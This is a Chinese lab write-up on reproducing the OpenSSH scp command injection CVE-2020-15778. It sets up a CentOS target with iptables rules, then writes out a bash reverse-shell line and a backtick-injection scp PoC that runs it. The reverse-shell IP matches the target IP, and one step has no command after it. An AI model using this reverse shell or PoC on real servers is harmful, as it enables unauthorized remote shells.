OpenSSH 命令注入漏洞(CVE-2020-15778)
CVE编号:CVE-2020-15778
发布时间:2020-07-24
危害等级:高危
漏洞版本:<= openssh-8.3p1
漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。
利用条件:知道目标的ssh密码
0x01 模拟场景
设置iptables策略模拟仅允许使用scp的场景,让该漏洞在特殊环境下实现命令注入。
0x02 实验场景部署
靶机环境:Centos 7
渗透机环境:Kali 2019版本
1、查看ssh版本
ssh -V
为漏洞存在版本。
2、测试ssh与scp在正常情况下的使用情况。
可以正常使用。
3、执行service iptables status 检查是否安装iptables,若已安装iptables,可跳过第三步。
(1)安装iptables
yum install -y iptables
(2)安装iptables-services
yum install iptables-services
(3)centOS7默认自带firewalld
先停止firewalld服务
systemctl stop firewalld
禁用firewalld服务
systemctl mask firewalld
(4)查看现有规则
iptables -L -vn iptables -F是清空默认规则 iptables -L -n --line-number 显示规则和相对应的编号
4、在Centos中设置iptables策略,禁用ssh远程连接,但开放scp。
命令:
service iptables start iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP service iptables save iptables -L -n --line-number
5、测试ssh与scp在已设置iptables策略下的使用情况。
0x03 SSH命令注入漏洞复现
1、在kali创建一个1.sh文件,并写入一个反弹shell的bash命令。
bash -i >& /dev/tcp/192.168.207.156/4444 0>&1
2、使用scp命令,把该文件上传到靶机的/tmp下
3、在新建的命令行页面中输入命令:
4、使用POC,远程执行命令。
scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'
5、可以看到,在输完密码后,稍等一会就已经成功反弹了shell,实验结束。
0x04 漏洞防御
1、先确保ssh密码没有泄露,等一波openssh的新版本吧
2、升级ssh版本
3、等待厂商发布补丁